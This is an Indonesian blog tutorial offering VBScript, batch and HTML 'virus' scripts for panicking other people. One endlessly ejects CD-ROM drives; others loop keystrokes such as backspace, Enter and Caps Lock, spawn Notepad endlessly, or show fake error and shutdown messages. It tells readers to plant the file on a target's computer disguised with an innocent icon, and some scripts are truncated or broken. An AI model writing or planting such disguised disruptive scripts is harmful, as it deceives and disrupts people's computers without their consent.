Cara Membuat Virus Membuka – Menutup CD-ROM Komputer Orang Lain Secara terus-menerus SADIS dan Membuat Tegang, Panik dengan Mudah

Cara Membuat Virus Membuka – Menutup CD-ROM Komputer Orang Lain Secara terus-menerus SADIS dan Membuat Tegang, Panik dengan Mudah




Hellow.. sahabat ROG, masih menunggu update minggu ini-??
hehehe…
tenang niih. Ada yang baru.

Yaitu cara Membuat Panik Orang Lain dengan CD-ROM yang buka-tutup secara terus menerus, hehehe…

Gymna-??

Menariiikkk-???

Oke, ikuti langkahnya yeah.

Oleh : Rafi Aldiansyah Asikin
Rafi Orilya Groups

Sebenarnya cara ini sangat mudah dan gampang.
Agar cara ini berhasil, lakukanlah copy file yang nanti akan kita buat kedalam computer target dengan icon yang tidak mencurigakan seperti icon “My Komputer, Mozila FireFox, atau icon yang biasa tampil di desktop”. Cobalah simak dengan baik langkah-langkah dibawah ini.

Langkah-langkahnya :

1. Buka Notepad.
Cara : Klik Start => Klik All Program => Accessories => Pilih Notepad.
* setelah terbuka.

Copy script dibawah ini yang berwarna biru :

Quote:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


2. Paste script diatas kedalam NotePad.

3. Kemudian Save dengan ekstensi .vbs

Okee-!!!

JANGAN COBA-COBA MENCOBA PADA KOMPUTER ANDA-!!

Ada yang lain lagi lhooo…
Yang dapat membuat orang lain panic.
Caranya sama seperti diatas. Tapi scriptnya berbeda dan ekstensinya juga berbeda.

Ini niee….

Sepuluh => 10 cara membuat orang lain panic dengan code script NotePad.

1. Backspace Jalan Terus-Menerus :

     Quote:
     MsgBox "Let's go back a few steps"
     Set wshShell =wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "{bs}"
     loop

      ( save dalam ektensi .VBS )

2. Korban Harus Mengetik "Saya Orang Gila"
      Secara Terus-Menerus :

     Quote:
     Set wshShell = wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys " Saya Orang Gila "
     loop  

       ( save dalam ektensi .VBS )

3. Buka Notepad Terus-Menerus :

     Quote:
     @ECHO off
     :top
     START %SystemRoot%\system32\notepad.exe
     GOTO top

       ( save dalam ektensi .BAT )

4. (lima) Pesan Buat Korban :

     Quote:
     @echo off
     title The end of the world
     cd C:\
     :menu
     cls
     echo Oops Tanggung Jawab Yah...
     pause
     echo Semua Ini Salahmu =P :
     echo 1. Semua Data Akan Hilang
     echo 2. Komputer Error
     echo 3. Komputer Kena Virus H1N5
     echo 4. Segera Matikan Komputernya
     echo 5. Good bye.....
     set input=nothing
     set /p input=Choice:
     if %input%==1 goto one
     if %input%==2 goto two

      ( save dalam ektensi .BAT )

5. Menekan Enter Terus Menerus :

     Quote:
     Set wshShell = wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "~(enter)"
     loop

      ( save dalam ektensi .VBS )

6. Muncul Pesan Secara otomatis :

     Quote:
     WScript.Sleep 180000
     WScript.Sleep 10000
     Set WshShell = WScript.CreateObject("WScript.Shell")
     WshShell.Run "notepad"
     WScript.Sleep 100
     WshShell.AppActivate "Notepad"
     WScript.Sleep 500
     WshShell.SendKeys "Hello"
     WScript.Sleep 500
     WshShell.SendKeys "how"
     WScript.Sleep 500
     WshShell.SendKeys "are"
     WScript.Sleep 500
     WshShell.SendKeys "you"
     WScript.Sleep 500
     WshShell.SendKeys " ? "
     WScript.Sleep 500
     WshShell.SendKeys "I"
     WScript.Sleep 500
     WshShell.SendKeys "m"
     WScript.Sleep 500
     WshShell.SendKeys "gho"
     WScript.Sleep 500
     WshShell.SendKeys " st"

      ( save dalam ektensi .VBS )

7. Terkena Virus :

     <span class="kwrd"><</span><span class="html">html</span><span class="kwrd">></span>
     <span class="kwrd"><</span><span class="html">head</span><span class="kwrd">></span>
     <span class="kwrd"><</span><span class="html">script</span> <span class="attr">type</span>
<span class="kwrd">="text/javascript"</span><span class="kwrd">></span>
     <span class="kwrd">function</span> display_alert()
     {
     alert(<span class="str">"Komputer dalam ranjau virus !!"</span>)
     <span class="kwrd">var</span> b = <span class="kwrd">true</span>
     <span class="kwrd">while</span> (b == <span class="kwrd">true</span>){
     alert(<span class="str">"Virus Trojan 5 !!"</span>)
     }}
     <span class="kwrd"></</span><span class="html">script</span><span class="kwrd">></span>
     <span class="kwrd"></</span><span class="html">head</span><span class="kwrd">></span>
     <span class="kwrd"><</span><span class="html">body</span><span class="kwrd">><</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="button"</span> <span class="attr">onclick</span><span class="kwrd">="display_alert()"</span>
     <span class="attr">value</span><span class="kwrd">="Submit"</span> <span class="kwrd">/></</span><span class="html">body</span><span class="kwrd">></span>
     <span class="kwrd"></</span><span class="html">html</span><span class="kwrd">></</span><span class="html">center</span><span class="kwrd">></span>

      ( save dalam ektensi .HTML )


8. Tombol Caps Lock hidup terus :

     Quote:
     Set wshShell =wscript.CreateObject("WScript.Shell") do
     wscript.sleep 100
     wshshell.sendkeys "{CAPSLOCK}" loop

      ( save dalam ektensi .VBS )

9. Pesan Shutdown :

     Quote:
     @echo off
     msg * Komputer anda hank
     msg * Tidak ada jalan lain
     msg * Harus dishutdown
    
     ( save dalam ektensi .BAT )

10. Pesan Restart :

     @ECHO off
     :Begin
     msg * WARNING !
     msg * Komputer anda error
     msg * Tidak ada cara lain
     msg * Harus diinstall ulang
     GOTO BEGIN

      ( save dalam ektensi .BAT )

Artikel Dilindungi
Sertakan Alamat blog ini jika mengcopy paste.
(Hak Cipta Dilindungi)

Terima Kasih
Rafi Orilya Groups
by Rafi Aldiansyah Asikin
Previous
Next Post »